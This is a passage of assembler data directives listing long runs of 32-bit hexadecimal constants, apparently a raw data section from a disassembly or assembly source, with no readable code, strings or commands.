1C9905F7h, 9A355317h, 267F1Ch dd 5336BB90h, 429773F9h, 6F7AE5D1h, 77ED67C1h, 7E843CD3h dd 6FD4BB72h, 382DD9D3h, 0C7820869h, 99A5A555h, 17420C08h dd 5C198F75h, 61B34750h, 0E13C73AAh, 0F25A1557h, 4CA2985Ch dd 0B2376622h, 3FD99A6Eh, 6B15EFAEh, 2B8FB441h, 3DC12758h dd 3D251CA8h, 0C220CBCBh, 0D8574170h, 2F1D49Bh, 42E3BC7Fh dd 5533B3ABh, 19B59559h, 0B2D5F57Fh, 0D3E3B8CAh, 56BC1530h dd 63653A56h, 9251945Ch, 76B9DC05h, 0B2205D55h, 60CF675Fh dd 473F90E0h, 765AA6DCh, 0D570F683h, 358E74Fh, 0D8B986Eh dd 0EC50AA4Dh, 1DEF1AF7h, 9681AF01h, 7892F28Fh, 0BB011530h dd 0A2FAA5E3h, 0E0807B6Ah, 1960163Bh, 60D2364Ch, 59CFA8Fh dd 14AFBF53h, 9E42BA4Ah, 91F907FBh, 8FDFDFB9h, 4E82557Bh dd 0C02EA28Bh, 51C3E951h, 727170F3h, 81F366C1h, 62F80A31h dd 0E138B354h, 21E17B9Ch, 0AD05B5DAh, 241DAA82h, 0BF6AF478h dd 2F2D5CA0h, 0CDC64D57h, 0B3C06A1Fh, 6DDBCA38h, 103B5E99h dd 2B9EC8A5h, 0E4795DFEh, 68E3B772h, 26B514B2h, 0D20A50D5h dd 1C35B62Bh, 53F896F0h, 0C5FF0B6Fh, 0DF461B55h, 228AC19Bh dd 8CD9F838h, 0B14D153Dh, 0EA756BC9h, 9005FCAAh, 0B2557D7Fh dd 7BD4B6E1h, 0FAA87E7Dh, 0CE116768h, 328A3A9Dh, 307CC155h dd 0F7524AC5h, 0ED7056Bh, 0E3EA87Ch, 151D7865h, 61AEBF8Bh dd 0E2B293C2h, 85DFFACFh, 2A30BA62h, 3DD3E0B9h, 477EBF27h dd 9D9CA6EAh, 0EA44EAF4h, 0CFFD93AFh, 0B6CA3106h, 0FF9CA31h dd 7B635A55h, 9D02A848h, 0EE273B1h, 2486A06Dh, 0F279D134h dd 0B8EABFA4h, 0CFD41CDBh, 854EA06Bh, 9EE7A33Ch, 7FAF5DB8h dd 0AAE371E8h, 0EB3E654Ah, 455990B1h, 7C45654Bh, 5D402FEh dd 0E3E6847Ch, 1227BB04h, 1DE01F3Dh, 5AAE21D6h, 0D030C451h dd 1B36BB7Bh, 56E1325h, 1008DFCDh, 0C1E38CD1h, 9EAC86E4h dd 73667187h, 0D7C5B24Bh, 5FD484EBh, 6C84C5A1h, 0E76F1612h dd 0FEC1E810h, 0EB509355h, 8A218D0Fh, 774C02EBh, 0DACFDE4Ch dd 0FD36A700h, 83314F46h, 0A8947499h, 0BAF10BECh, 6444288Fh dd 0D432530Dh, 5864167Dh, 0B6223150h, 3C6A6333h, 8E79E4E2h dd 230C6718h, 990055E7h, 3571F544h, 0DC8CEABBh, 0DA92AFE1h dd 0C3C57C35h, 60D1D37h, 0B94ABE82h, 0CBA29506h, 0EC0BD983h dd 0F00156ACh, 3097B5DCh, 0B104B740h, 5CC5C2D5h, 7B774A94h dd 6B604AE8h, 8412195Bh, 0D947303Ah, 0B64F56D1h, 883BC965h dd 216ED302h, 33C9D10Dh, 689C4276h, 0F4C61656h, 29E322DAh dd 0B9890975h, 92AE56AFh, 9401CF8Ah, 14071BCFh, 1CB8C5F0h dd 2F07E715h, 34A8F80Bh, 0F427B46Bh, 9059FE94h, 9ABEF860h dd 97053CE2h, 0DBDF1BDDh, 78704CCEh, 0D6D7B5C7h, 5E704179h dd 30A3996h, 0BE8B364Fh, 13417F65h, 7548972Ch, 448B1F72h dd 22AD94FCh, 1312B564h, 0F261F539h, 0E9FD8565h, 91FE50Dh dd 9FDBEA20h, 36675C39h, 9E7983Bh, 5F6767D7h, 0EDF62EE3h dd 0B10592A9h, 2D8B9639h, 0C5F9AA12h, 83F220B8h, 3B6070FCh dd 36670E1Dh, 0ADADD3D3h, 61AE5C42h, 632DD8Fh, 0C09F7076h dd 0BD73AAA3h, 0E0B0304Ah, 0CD76B82h, 2F33417h, 0F9BBE778h dd 28754AA4h, 0B2D7054h, 22A72743h, 3B1AD7C9h, 6C734EDDh dd 0F4A2C974h, 28412960h, 0F7AD98F8h, 0EF372A32h, 13690881h dd 1C62A518h, 5339FF41h, 79FFAFBEh, 776464F0h, 0BF090BE7h dd 659E51B0h, 31ACCB13h, 0E25E0D73h, 0A333156Dh, 1568B2BDh dd 0E74BDBDh, 40E507F1h, 1EC2C23Eh, 0B417D3BDh, 0A9574632h dd 239B7FC1h, 0EC9910A1h, 3CA9FBC0h, 2946CEDCh, 5CA9DAEh dd 11B1372Dh, 5BAC97F7h, 9BBC5AFFh, 0ADA0F611h, 0AF2B985h dd 2D88BCF6h, 0D26803D2h, 9C9E482Ch, 0DF0F9E14h, 9C711F0Ah dd 222BCE35h, 0E4F0FFA7h, 7C800664h, 561CDBBFh, 3D222DD9h dd 0DEDA16A3h, 1A2EC439h, 100637D8h, 970888E0h, 63418063h dd 0C8C01748h, 0C9FCC401h, 205FEFBCh, 1F3E1C43h, 83BB378Dh dd 7069C096h, 763BB4BDh, 0D3EC7C9Fh, 490095CEh, 2D3789B3h dd 8DA3AB11h, 0BD2484D0h, 0EAC05657h, 2EFBA033h, 0B0D2C42Fh dd 0E4C061A5h, 4D54CAACh, 4E1A7F5Eh, 232B47B4h, 5E5567C5h dd 10E19D99h, 9B9044E6h, 0F560816Dh, 3F4EC432h, 50585B24h dd 8C0B1400h, 597B5C96h, 49DB8EC7h, 24E01F0Eh, 0A44BDD31h dd 8CCDADACh, 0B887E875h, 0CEB17304h, 9A473011h, 784B3B1Ch dd 0C5FB9A0Eh, 4355E64Bh, 458FB532h, 5AA74F5Ah, 62977E34h dd 186037C8h, 0E3008E6Eh, 0E2A6976Ch, 0ABDEE90Eh, 1E0FA938h dd 5B48C070h, 0C5FE0C69h, 3FCFFACDh, 0CED9596Ch, 0A6777A80h dd 33C71C5Dh, 9DCB6877h, 0A271FF6Ah, 464D7FE1h, 24C97EBEh dd 0CDBCA6A6h, 0B38CBCEAh, 92D94134h, 65283F19h, 0AF2C6835h dd 83E1A18Ah, 650B8AFAh, 0F0B589D7h, 0B6D3375Eh, 50E882E8h dd 0AC1C9C6Eh, 9A47B47Ah, 0AF2E8A77h, 4D09F420h, 0E1C2447h dd 6F15C6EAh, 84363E91h, 0B72C7DDFh, 150B22C9h, 0E08DE069h dd 1DF6EF61h, 0A24F3B66h, 7774295Fh, 2F4A0747h, 92D23FC6h dd 355A1337h, 75AE015Dh, 0B780DEF0h, 35E8E283h, 0AC6F59E8h dd 4A060F42h, 15A79DD1h, 0EA1F80EEh, 0EFE867E1h, 0ABA4FFAAh dd 0ED3BDE17h, 7C5F4969h, 22809B53h, 0AA6635A1h, 4A4CB1B4h dd 63CC8537h, 6CD66EFCh, 0F46D0943h, 64E0F696h, 82160BF5h dd 5F04E3DBh, 9CFB16BFh, 64D6CF1Ah, 2558A89Eh, 0B93204FDh dd 0A7416797h, 56E66AD9h, 5F3A27BBh, 0C0B95D0Dh, 68866010h dd 13FFFA50h, 53161DEh, 0FBE43CF7h, 0AC02A6EDh, 0F4E2CECEh dd 196C3367h, 170FA7AEh, 9836DEECh, 0B2BDFEA9h, 7ED6C10Fh dd 8B85FE64h, 71D00866h, 0EF8347D2h, 1B7C2D2h, 8E0D2224h dd 3C7F9B0h, 9B2D9B4Ch, 0F5982E8Ch, 24CF1725h, 0F10FF593h dd 1BF6AA35h, 0FF009195h, 3B2C602Ch, 0B01EB8A2h, 0D2012FABh dd 526A5E6Ah, 7BF81D2Ah, 79C828F2h, 7FB3893Fh, 63BEB83Ah dd 0E53BEB0Eh, 42AEA6A3h, 0F8025B01h, 4EEFF05Ch, 2E80F141h dd 8F53114Fh, 0B846A218h, 0F5BF7104h, 8E6813F1h, 10536968h dd 0EE405D8Ch, 78AA5506h, 96CE503Dh, 464B04h, 64F7DD81h dd 0A5A1D9A2h, 4AB41A14h, 419A93AEh, 5FC10195h, 0B435D99Ah dd 72BB8994h, 7B817C93h, 14B82DBh, 95337223h, 33378FBFh dd 26602126h, 0D46606F8h, 281F3100h, 536F5560h, 0C59A92ACh dd 7E0B6A5Ah, 87DE5E36h, 47C7B84Eh, 1774001Dh, 27E154D0h dd 35174E66h, 0FDA0260h, 2F9BCFCh, 0AD9D626h, 0FEF6A3Bh dd 66FA537Eh, 3E52F854h, 4E418A30h, 0B94675F4h, 6B25F53Dh dd 0D6865137h, 47177018h, 42C16479h, 76D3FDA2h, 1FE782D7h dd 0E54EF71Dh, 0A4B150CDh, 0D08FF94Eh, 0BFAB3E6Bh, 2FFCB3ADh dd 0E9221292h, 7678D658h dd 0EE976C40h, 0C0867EBAh, 1CFF946Eh, 0DB09BFB1h, 1EE2FDAFh dd 632DBFFEh, 0E4DD2C7Eh, 1780CCDFh, 0ADBC3611h, 1E5A22A6h dd 47657A49h, 2DFBC589h, 8879D5Fh, 0C506D3A8h, 7CA346CAh dd 9FDA6A0Ah, 99B4F9D7h, 0E5B1162Ah, 0BDB8B074h, 7225721h dd 0DED092C0h, 27C4025Dh, 6A4CBD7h, 0B9325069h, 6F41E958h dd 947C9DA6h, 0DBC18074h, 0B6259149h, 0A99D8BD6h, 0B4A8BA33h dd 365A7621h, 61D0F201h, 2EB8E7F0h, 7B0EAA2Dh, 0F9CF4791h dd 793F7878h, 0F541E11h, 5645EE38h, 8B6CDD0Eh, 0FB27485Eh dd 0C3447492h, 3AB018D4h, 0BB63E808h, 0C3D9E7ABh, 0F09EE585h dd 0D6D73D7Fh, 189DA23Ch, 9F499669h, 6D723562h, 35C792DBh dd 0DEF05FCDh, 0E089A44Fh, 806BEA50h, 0E88EBB00h, 9D84F1ABh dd 676C8568h, 0F7E249F0h, 0F88E1379h, 0AEDB42E4h, 0B30E3BB7h dd 0BCBA3E9Ah, 0EC7E1891h, 0FF01921Bh, 579D657Eh, 0DA0CFD79h dd 40B09833h, 42864F1Bh, 1163DC37h, 71561E2Bh, 0E3860FF4h dd 19E2C756h, 306FBB12h, 72D1CE79h, 50E45D47h, 0C43B50DBh dd 0A20C3C3Ah, 0CF222DA6h, 4347131Eh, 47A4A061h, 0D8995D46h dd 85D5B6FEh, 0D81E588Ch, 0AC718082h, 0F7AE719Eh, 619FD6D6h dd 23BA50DEh, 0D88225D9h, 0BDD37AEDh, 0D6B33FA3h, 85C4236Ah dd 4D0D79F2h, 5ED4F3A4h, 0AB4ACF99h, 0BCB9F2F2h, 7691616Eh dd 52D0865Bh, 0F777F421h, 6DB7C815h, 0CE744ABh, 753638AAh dd 2286E64Dh, 77ECE3B8h, 49272459h, 0D53A5B43h, 0C81DAA90h dd 2412EB72h, 45BE39A3h, 5C8D6CC3h, 0A4CDEB94h, 7840D23Ch dd 0E124D9FFh, 888438AAh, 8CF04D57h, 0D95D2EBh, 0F20B9AA3h dd 5BBF2AF5h, 44B9C3CBh, 85E8096Eh, 276C45AAh, 0E9D0E023h dd 7D67027Eh, 4263B4F4h, 4472A69h, 1C121AABh, 1F9889BAh dd 0A445FF59h, 0FBDC9845h, 467BCFBBh, 0A000AEC5h, 9F2043F7h dd 5B7FA81Ch, 34966B31h, 74A7D47Ch, 0F51EA580h, 0B507B74Fh dd 23980016h, 0C2C6F242h, 0C5D5A2E5h, 0D358D3E2h, 467AA896h dd 95C9E660h, 0FDD89197h, 0CB308058h, 46145824h, 922E4B7Dh dd 2CE2036Eh, 3C7AE6Bh, 8749262Ah, 7F0C53D3h, 0DC3F3F01h dd 0FB3770C1h, 6851A4DCh, 0A59F484h, 3769068h, 522936CAh dd 25E74098h, 3D5A5FCBh, 5012FF1Ch, 13280DDBh, 88FFF308h dd 0E264F6C4h, 0DC72DA0h, 78132CCh, 100FA36Ch, 9CDE0D68h dd 0AFB6ADCh, 0F2B06D2Bh, 0D65FB10Dh, 0AB7C098Fh, 0E15249Ah dd 73E5CF03h, 31F30DD5h, 4AE3E4E2h, 13A769E3h, 68423DAAh dd 0AFBE924Eh, 4076AD99h, 0D3B86B8Ch, 4985C397h, 99D3117Bh dd 0D3F892EDh, 749FFE46h, 869690D3h, 6D72FCC2h, 698BFD29h dd 0A9F23FE8h, 62838E77h, 0DD937B7Ah, 5123A611h, 1BDEDF3Ah dd 14E1F00Bh, 692567CEh, 4F6A8569h, 96C583E6h, 0C1C8E38Eh dd 1B299650h, 6A1208A0h, 0BDB77459h, 7FC12436h, 9A30DADBh dd 58A8517h, 1DD63A3h, 4ED4FB2Fh, 2DE52760h, 9C94317Eh dd 0A56F2199h, 0B0D7645Eh, 0E71A496Ah, 295D609Fh, 6A72D34Dh dd 8519382Bh, 966BAE92h, 0EAECEC96h, 0C05E93D3h, 4726C4C9h dd 1BB3B95Fh, 7A9A7B4Ch, 4F9006DCh, 0ED57142h, 757AEB33h dd 15B00E71h, 51D6C588h, 3829C47Bh, 7BA643B0h, 1D62741h dd 0F352EB6Eh, 6566D0A4h, 0BE3EA638h, 575E0CECh, 1B0E2A99h dd 55E06325h, 0F24185A8h, 0B320530Eh, 0FB1D77F5h, 0D022366Ch dd 0FBE5C6D4h, 1FC525BBh, 1CE88A04h, 26CF91A6h, 0DA91A9A4h dd 34B666F3h, 0C2A53DABh, 4F76DB79h, 0ED32F815h, 0F00BF05Ah dd 8352F656h, 40E0B277h, 0E935E862h, 0AA8C0483h, 69CD2431h dd 0EA64D987h, 0B1E11DDBh, 57AC3686h, 3A86E2D2h, 2455D092h dd 0AE190CAh, 1388E1A2h, 5DBDE88Fh, 6DFB495Eh, 0B2D82AD9h dd 5A5615C7h, 0EF555CA7h, 57B6EAA6h, 0C5C010C3h, 8040492Eh dd 0DC36ABB0h, 0DDF96036h, 510B7860h, 0E362D55Dh, 0F1F997B1h dd 0F5FBE9E4h, 27E85CB1h, 91E1FA5Bh, 0DC94272h, 0FAE824B7h dd 504B6E05h, 0E08324C6h, 7467DD0Dh, 0B784897h, 0A1E7FAC8h dd 0A1AAC469h, 7AAC62C8h, 0A7B47E24h, 3595C196h, 12526BC3h dd 5C3196FBh, 0CE0A5982h, 0F7643B97h, 64B81880h, 331DB173h dd 0A371DE48h, 88570C9Fh, 4AA4EA1Dh, 846494CDh, 0CF7EEC5Ah dd 6AD3B27Dh, 0C989222Bh, 8714F498h, 0D0E53C47h, 6ED32612h dd 0A9F1DFDAh, 7E26A43Bh, 55E91EA8h, 0B206F3CBh, 0E6B4B00Ah dd 896431D7h, 4BA71A5Fh, 3B17D56Fh, 0C68393E6h, 5DA86CDDh dd 0D8DB368Bh, 3241290h, 5379E2F0h, 71781299h, 4A22CB3Ah dd 5D485221h, 3735254h, 0BD33EAA4h, 773CB307h, 0E2C1781Ah dd 0E1003764h, 6024BED9h, 73FFD149h, 0C430A80Dh, 506ED4C7h dd 0C2130989h, 3B97D617h, 73CD6876h, 0CDFDF32Bh, 4D14D030h dd 12831858h, 2B11AC8Dh, 0C51BF600h, 0FDA0BE54h, 6DD60540h dd 16FC086Ch, 0A9D7D3D1h, 9080E93Dh, 8590B237h, 0F3044AD8h dd 4BDE93E0h, 8E6C50Bh, 6F572686h, 28EF9CDh, 0A1EB7BCFh dd 1656EAF4h, 0D878FD32h, 0A57024BBh, 605CC239h, 0CBD8038Eh dd 0C0E6563Ah, 35464FC7h, 34E43A7Eh, 0AD2D6426h, 2A44C588h dd 9A3840C6h, 8EB7FDD9h, 0F873E3AFh, 4E89E78Ah, 4F68A34Bh dd 0EB7521AFh, 76F0A50h, 0DA0F9E02h, 7CD7A2CDh, 0E4DA7C46h dd 0AFC31FA0h, 0F3EE93F3h, 0E0A47BBFh, 0A4916AAEh, 0AA5CA57Eh dd 0B4B45303h, 93385FE6h, 155E869h, 0E3FD5B5h, 0FBEA6BB1h dd 2E5741DFh, 7C803B88h, 71B03A8h, 0BD1BD252h, 64D6CDDCh dd 8CC0DDA0h, 30ACC0CBh, 1DB0DB5Dh, 0B85E8AACh, 0FCB868Fh dd 37E14997h, 90641618h, 2A8D3168h, 7110764Dh, 0A2E74Ah dd 0F3D40A9Eh, 46DD93B0h, 2A1D91BEh, 7515CEA0h, 920792EFh dd 8689A3C5h, 0A13AA0h, 928D22B6h, 9181319Ah, 1886FD7Bh dd 0A73EF953h, 4981C869h, 0E506A8A5h, 644D6640h, 985A6222h dd 0DC5E245Ch, 0D2E77CC0h, 772199F7h, 9E3D7A7Eh, 12781160h dd 5C2EC403h, 886B7CCFh, 46321CBEh, 0FE36FEA8h, 0ACDCE7E0h dd 0F75749E5h, 47C68CACh, 0D338E0B2h, 6DE18EEBh, 0E1509274h dd 0EB1C2922h, 7BE40030h, 4AE9E4D0h, 0B619A7BFh, 21032DF0h dd 3AF1D06Dh, 0A31F5084h, 8CA95A3Bh, 99B6C360h, 519A22A9h dd 833A4CC7h, 0C76918B3h, 5ED03C58h, 0A434DBCEh, 0CC4CC080h dd 26FAC53Bh, 0B4D83089h, 996C58BCh, 0E6853B50h, 76118652h dd 0FA35B68Eh, 0A9542726h, 1DD41B7h, 5D8F77F6h, 6312054Bh dd 68F638CCh, 39F3E3C6h, 0A954D92Eh, 0B9E4B75Ah, 73698745h dd 7521FB32h, 0CEA5D318h, 760D2FBAh, 999F8316h, 0D5923A96h dd 3311C0D4h, 74DC0146h, 0BA2FEh, 4A3656EDh, 12C2D176h dd 33E1B7FCh, 0A2B4B92Ah, 2797D550h, 0F631CB57h, 9E9FA21h dd 0D3E9E5E2h, 4378C23Dh, 0A451AF71h, 57AA12Ch, 0DAAE0A3Dh dd 0FC03CEA6h, 0D7F64AEh, 0E7580C02h, 0A59563E8h, 0FE6BBB6Fh dd 31A41E14h, 83452615h, 0D880018Bh, 1F4E9109h, 2F10C533h dd 0DC5F138Ch, 0E96D3873h, 85CCB403h, 17605352h, 9624013Ah dd 5DB52594h, 0EE67E542h, 20674552h, 0AE0EE7CDh, 3EEA5BF1h dd 1BD29819h, 0FC5BDF85h, 1E21EDE1h, 0E6ACFFD3h, 0EC46D28Fh dd 0E8C93B8Eh, 0A3E6C782h, 0DA65A90Ch, 0C290EAFBh, 0F3E4AFCAh dd 551E515Eh, 34FA4B44h, 98EBD0E7h, 0B722D085h, 8D48B9B7h dd 601B4Fh, 0AC77D2F0h, 0BB2BEE60h, 9400D568h, 0A62C8F41h dd 1C240667h, 92DBC7FBh dd 7C3D41D1h, 0DB408475h, 0B1CE1B6h, 0A4E999EFh, 0F104D8F7h dd 0ABB161Eh, 52478DD0h, 2D21FD08h, 0D10E4C25h, 9B29D859h dd 54CADD41h, 5B0FE32Ch, 39454Ch, 0EF8AA7EBh, 9C724C43h dd 28A97FD3h, 3604B30Ch, 0F04A0FBEh, 970998D6h, 327CF995h dd 54792B0Eh, 0AB15C479h, 17E6D40Eh, 0E3B85D0Eh, 131D5D27h dd 0A806EFDBh, 7C33321Ah, 53EBDA6Ah, 0C2B26C4Ch, 888DA114h dd 5FDCB6C7h, 2E321169h, 236D4205h, 24FC1BCFh, 0A5BD121Dh dd 83B63A7Ch, 0D3B13973h, 4CA72EFh, 71B0328Ah, 0DFB9E252h dd 91E4BC52h, 8ED08B96h, 2933BBFh, 274B7F95h, 0A9DDA217h dd 319C9CE9h, 1837E64Bh, 0F1B22EA4h, 28E98778h, 0E2B9A975h dd 5507FBBCh, 8492B877h, 8768D0FBh, 0A7943C3Eh, 8B1A648Ch dd 52677A2h, 0A3E7A77Eh, 3882F66h, 0CA037A0Ch, 463DCA02h dd 0F9047CA9h, 4BA252D7h, 64024E8Ch, 0F63464A9h, 9CED9D5Bh dd 0DE54C15Ah, 0A0B717DCh, 0BA0DF0F2h, 0DB1AF054h, 4AFFB5DDh dd 8F9EA36Ah, 20741F8Dh, 0CAD4C2B1h, 5709E9C6h, 290B8B28h dd 81372787h, 0E58D0A97h, 0D14A4A4Eh, 8CF74D55h, 0DE2D886Ch dd 0E7A83A2Bh, 4161EB2Eh, 4C3FC91h, 34456650h, 0F7181D87h dd 0C8E2DB0Eh, 8857CE75h, 4D2FC7D2h, 0B590C2FFh, 3B43029h dd 116A8F8h, 0AE129FABh, 0EE2C85A8h, 0FDEBB3F3h, 508DE762h dd 749459CBh, 0EE91196h, 301C8BFh, 57136085h, 794F50A8h dd 837191C8h, 2B7E8E4Dh, 652E361Fh, 0EAA5BCB3h, 8BDF794Eh dd 94CF9C70h, 2AB3FC8Ch, 0BD5FB8D6h, 0FD94D3FEh, 6BAB0255h dd 29419156h, 0CC2995B3h, 0CC3A7E8Ch, 0B0769A5Eh, 135C4930h dd 0EA6EBC04h, 768AA1Ah, 0CC03E9E6h, 0BDAC6345h, 5F168FEEh dd 0E2464359h, 1B495CF5h, 1DCF996Fh, 0E0C30629h, 3F40EA15h dd 0F885E30h, 0CFCEB01Ah, 8A4DE96Eh, 19DB2C42h, 0BC228372h dd 3467ED2Ch, 0A3D038F8h, 58E1D56Ah, 7A22E73Bh, 0C5817208h dd 5A8E03E1h, 4D54B17Dh, 0B6823205h, 0D6DAFCBFh, 93E0E55Eh dd 3FA113D6h, 9D551F6Dh, 927A2056h, 0C832279Eh, 0DF9C2709h dd 0DA411F42h, 0BBA451BBh, 337D5E0Dh, 4DE759BDh, 55CDAA1Fh dd 0C73C5A1Dh, 24CE9BB1h, 0E3A22A06h, 0A0B92F22h, 42DDDD04h dd 0F4641C53h, 0D708D2EAh, 0FBB28832h, 800D0FC7h, 0A6E7BDFCh dd 902F60B2h, 0F6B68320h, 0D7C9380Eh, 7B5FB601h, 1C87222Ch dd 0D77C3CE5h, 0FFD104B9h, 0D400ECF7h, 0B445AA13h, 27138456h dd 0E12E8550h, 0EDEB10CCh, 32F1452Bh, 4E6B8FC0h, 3EE222B3h dd 5A23ECAFh, 0B0AFB09h, 106446D7h, 0CCA2F4D0h, 531EA0DEh dd 65A7876Ah, 203DD55Eh, 0A57A0DFCh, 0B6C03D9Eh, 517F3BB6h dd 9D59237Bh, 6FDA6C5Bh, 0C7FD2FE6h, 55ADBAEh, 17DAFD12h dd 0A2AAD898h, 1EF2417Bh, 6ED6949Eh, 0C803F9E7h, 0E70AFC43h dd 0FAB5FEC4h, 248C2FAFh, 6D694DC6h, 0B7557AFAh, 1236BE31h dd 0A083FD37h, 2FA2F331h, 4115A62Ch, 19BE3A3Ch, 0C3E15F7Bh dd 0B584CEFEh, 3F2CC4A6h, 0CEDA3B89h, 0C6B0ED53h, 28BBA49h dd 0A73151A6h, 0D64E6E36h, 9B524966h, 707CD986h, 5AB047E4h dd 0B80A6BD4h, 15F94D2Fh, 0D515E76Dh, 226111D8h, 0F836374Ah dd 0B11D57EEh, 8C2910F4h, 8A86405Eh, 33C5E30Bh, 0A6CAF936h dd 1E022CEDh, 867E3809h, 0C155E98Dh, 28D3C89h, 99CB8713h dd 7CC56E23h, 78379EAFh, 34A33CA6h, 8E50B304h, 2F77303Dh dd 591F740Dh, 468C758Eh, 18A92A13h, 0FC62FFACh, 6134D90Ch dd 0E00337C4h, 983E6E18h, 0D394BBAEh, 35FE84F0h, 0FD87059Bh dd 77C26224h, 9F4FD706h, 7FFCD024h, 92B3AA87h, 97E54930h dd 0A6F0467h, 8FBAA5D2h, 467BFEC1h, 0F5C01C9Fh, 7DA723C2h dd 0A08843C8h, 65357BA9h, 92E03418h, 8F92BC2h, 88077AD6h dd 0E949998Eh, 0A4A6AF33h, 0A989E196h, 4EC9E8D9h, 2259DBF8h dd 0BD8D0D05h, 286D3CB1h, 2C25AA75h, 0A4AF425Eh, 89FDAB93h dd 0E1E60BEh, 961FC858h, 48E62BDFh, 0FDD52683h, 0AC60B6E3h dd 3EE65F27h, 0D5E05733h, 0FF79C024h, 95C8D719h, 0EA433F05h dd 0AF0E3D29h, 0D24DF824h, 0ACCE0CD2h, 0EACD7949h, 5D602B81h dd 68D91FD7h, 0BB94ADA4h, 8AFCEC4Ah, 7EB83B6Eh, 28C48EC8h dd 0A7C86CC8h, 1C0E749Ch, 6CAF0422h, 1BD1BC58h, 0B2057781h dd 57059235h, 0BCB44C20h, 0F2988232h, 88F625B8h, 3ECC4A4Dh dd 67071B0h, 52F2C7BEh, 748D397Fh, 0C9411EFDh, 0B5910B30h dd 0E150A8CBh, 0E283775Dh, 0EFF1E8FDh, 0BA529A6Ch, 64655041h dd 0BFD3D408h, 0CC44B33Bh, 0FC878AABh, 0A3A73558h, 0EF3E585Fh dd 0C34D07C5h, 0C42E7B40h, 953467CCh, 0B7213B50h, 99C06E6Fh dd 0F201BE17h, 5C1AB465h, 951B3D7Dh, 0E0026B44h, 73220A46h dd 0ADB93416h, 0E2384D01h, 6F101CD2h, 7414940Bh, 430A000Ah dd 7F06758Ah, 0A3D95BCh, 3F24A7CBh, 0AAE0BE3Fh, 774D855Dh dd 5DFED4FFh, 3F23D58Bh, 9278EC5Eh, 395762ACh, 0E681C9C1h dd 9B285792h, 4E881C7Dh, 9E4D9395h, 6857F8D5h, 9AF12338h dd 1924C178h, 670F4A79h, 848E032Fh, 0AF41D150h, 0F3DB7B58h dd 13ACC9B2h, 76E5083Ch, 33B34078h, 81001099h, 7753C7FFh dd 0B4A65B01h, 5B1FE107h, 5F4E8C6Ch, 0DA63A1EBh, 175581B6h dd 0DE06D305h, 3425C0BFh, 0F1CB6BAEh, 0A9CE8C0Bh, 0A7BA96BCh dd 0DFBF126h, 36963954h, 0B7831210h, 494D081Fh, 1BCBB472h dd 3FD0F0Dh, 0A2E18DAh, 0D2326FB7h, 908B5926h, 0FB860E53h dd 0FF6BB152h, 12E45DC0h, 9F34C9E3h, 2F30C270h, 86E422D5h dd 10B1AB84h, 58F8AD33h, 0DDBBEF97h, 3BAA17E0h, 0D8363DADh dd 23E71CA4h, 0E152FF0Bh, 35F81428h, 0AE134DD4h, 0DE606436h dd 2DE485D8h, 0B4EDEAh, 31BEA23Dh, 0D987C433h, 150A25Ch dd 0DB613556h, 0CBD63496h, 0A125FE41h, 0B342A36Fh, 70FE6213h dd 0E40428B0h, 0A9BA73BEh, 0E6F2125h, 79CB1CB1h, 0BB018389h dd 350C9187h, 0D181CB39h, 5EE2A0F3h, 0BA5EF66Fh, 0C0F3FD4Eh dd 0BFAC6FFEh, 3224AC7Ah, 70DBE801h, 2A79473Ah, 9BA3951Fh dd 7E8B5707h, 0C18FCACDh, 0F8588EB2h, 7F61BD8Fh, 8B6A1E22h dd 353063A4h, 0DCBFCC38h, 0C90EC677h, 6AFACF59h, 0EA234DABh dd 9BC40A6Eh, 479A2074h, 0A4C15A5Ah, 1E97C83Eh, 0ED741AE6h dd 1D732821h, 0E466379Ah, 9645944Bh, 75085B24h, 0BA572F4Ch dd 0E1C56732h, 215ABBD9h, 0FD398440h, 0DC62BACFh, 52AF04FCh dd 8785E02Ah, 24A5051Ah, 79062CB7h, 0F01D62FBh, 11762D8Bh dd 8790FC8Dh, 0E45822h, 45F80814h, 0D3C78E01h, 0E3339591h dd 381441BCh, 8537D7Bh, 82707582h, 0DE3EF9BDh, 390EB455h dd 0AEF34C3Fh, 7CB25C90h, 94522D07h, 81834052h, 31274CF5h dd 0F314268Ch, 6B6A61C6h, 81F0279Dh, 0A831AFDBh, 0ABA64A46h dd 0E4FE9CCh, 37F1670Dh, 1384BEBDh, 0CA2BCD1Ch, 0E43634D5h dd 8CBB2C6h, 47F5245Ah, 15AC63FFh, 14A30F1Dh, 433B7CCDh dd 93B18CFh, 0E4AF435Fh, 2ED50477h, 38296FD9h, 0C94D5187h dd 0D22DC5CEh, 9B326569h, 5EF3CF52h, 5DA2329Fh, 0D1024C80h dd 0CB50771Ah, 15E4EA82h, 0A06EA77Ah, 0E421D3F2h, 0AD20E84h dd 0BB3AEE7Bh, 80B3DA5Bh, 0E6A1E01Ah, 4B601C3Eh, 3C8356E0h dd 0A0EEB4B7h, 2708C352h, 3527633Fh, 0E7AC9FBh, 740888CDh dd 3EE496E8h, 0EDA27574h, 31286C1Ah, 45A36F87h, 45E663BCh dd 1B805CFFh, 0DD15A489h, 239AACEFh, 60C99C9Eh, 90346BECh dd 470197E8h, 0C474F052h dd 6EC3869Ch, 654FC3D9h, 0CF3F52F0h, 8A44FA89h, 15E017C2h dd 5DDB3FA5h, 7AB2952Ah, 1AE3A48h, 0F5B80812h, 0F53B513h dd 0A05A0A5Bh, 129630B0h, 4E37F57Fh, 923FBFD0h, 0E166CCE5h dd 71DB904Ah, 8AFBA91Bh, 0EDDB58BAh, 3DB0951Dh, 22A14D6Eh dd 5D7AF474h, 7167ACA9h, 370796DFh, 5ED7B747h, 0D3C2CF0h dd 715968B1h, 0EF673989h, 0CE0FEDD7h, 9015CD7Fh, 0F04485B7h dd 2243E961h, 0EC2D985Ah, 9E3AC958h, 697AC3D4h, 0FDEC2996h dd 0A312A47Ah, 8C93E2E1h, 0E7AE1626h, 0DE8FE37Eh, 6C1786Fh dd 8C4DB34Eh, 21D14205h, 0B9FCC160h, 4AA0E10Eh, 0DAF38F6h dd 6F97C146h, 6FBD4234h, 7FD6A030h, 0ABC6DAECh, 0BA167A2Dh dd 92217EA6h, 9C728BF1h, 0F67302F2h, 0F89E21B0h, 0D8555F7Bh dd 0B1F4CF1Fh, 0E5347AD2h, 137B56A5h, 0E9A5B7DEh, 0F10FE267h dd 21995B6Dh, 0C6B2AAF9h, 35BA5F4Fh, 0A4B13918h, 31CE7894h dd 998E5C9h, 4B36AB26h, 2F4E57B8h, 546D6437h, 50BDB477h dd 9CB4D69h, 16D36765h, 4719BD00h, 0B62F63D2h, 0F2B15064h dd 3792C366h, 0AE17DBCCh, 0A4C87A05h, 7BA5DD4Eh, 1BFC66D8h dd 0E06EE8C6h, 0F1A6F01Ch, 0A373824Eh, 0A2C3F1F2h, 52696C33h 